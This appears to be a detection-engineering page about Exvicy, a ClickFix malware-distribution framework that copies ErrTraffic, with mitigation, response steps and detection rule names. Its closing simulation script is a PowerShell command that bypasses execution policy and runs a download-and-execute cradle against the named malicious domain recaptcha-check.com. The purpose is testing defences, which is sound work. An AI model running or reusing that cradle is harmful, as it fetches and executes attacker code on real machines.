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Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Exvicy is an emerging Malware-as-a-Service (MaaS) ClickFix distribution framework promoted on cybercrime forums. It uses social engineering by mimicking Cloudflare Turnstile challenges to convince users to execute malicious PowerShell commands through the Windows Run dialog. The framework closely copies ErrTraffic, reusing large portions of its JavaScript codebase and obfuscation techniques.
Investigation
TDR analysts pivoted from a screenshot of an administration panel shared on the Exploit.IN forum to uncover active C2 infrastructure. By analyzing specific Cloudflare nameservers and domain registration patterns, researchers identified multiple malicious domains and compromised WordPress websites. Technical analysis confirmed extensive reuse of ErrTraffic code, including distinctive JavaScript functions and anti-analysis logic.
Mitigation
Organizations should deploy robust web filtering to block known malicious domains and suspicious TLDs associated with these campaigns. Endpoint protection should monitor and restrict anomalous PowerShell execution, especially commands involving irm or iex. Users should also be trained to recognize social engineering prompts instructing them to use keyboard shortcuts such as Win+R to execute commands.
Response
If Exvicy activity is detected, affected hosts should be isolated immediately to stop additional command execution or payload delivery. Responders should review PowerShell operational logs to identify executed commands and related network connections. Known C2 IP addresses and domains should be blocked at the perimeter, followed by a sweep for other compromised WordPress assets in the environment.
Attack Flow
We are still updating this part.
Detections
Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)
Suspicious RunMRU Entry With LOLBin Semantics (via registry_event)
IOCs (SourceIP) to detect: Exvicy: A copycat of the ErrTraffic malware distribution framework
IOCs (DestinationIP) to detect: Exvicy: A copycat of the ErrTraffic malware distribution framework
Detection of Malicious PowerShell Command Execution for Exvicy Malware [Windows Powershell]
Exvicy Framework Command Execution via Win + R Shortcut [Windows Process Creation]
Simulation Execution
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Attack Narrative & Commands: An adversary delivers a malicious shortcut or document to a user via phishing. Upon execution (T1204.002), the user unknowingly triggers a PowerShell process (T1059.001). The attacker’s goal is to establish a foothold by downloading a secondary payload. To mimic the Exvicy framework, the command line is crafted to include the specific known-malicious domain
recaptcha-check.com/8E9curHNH8UfAMLzto pull down the malicious agent. -
Regression Test Script:
# Simulation script to trigger the Exvicy detection rule. # This mimics the command line patterns identified in the Sigma rule. $maliciousUrl = "http://recaptcha-check.com/8E9curHNH8UfAMLz" $command = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('$maliciousUrl')`"" Write-Host "[+] Starting Simulation: Executing command to trigger detection..." Start-Process powershell.exe -ArgumentList "-ExecutionPolicy Bypass -Command `"$command`"" Write-Host "[+] Simulation command sent. Check SIEM for alerts." -
Cleanup Commands:
# Cleanup: No permanent files are created by this specific simulation, # but we ensure no lingering PowerShell processes are running. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Cleanup complete."
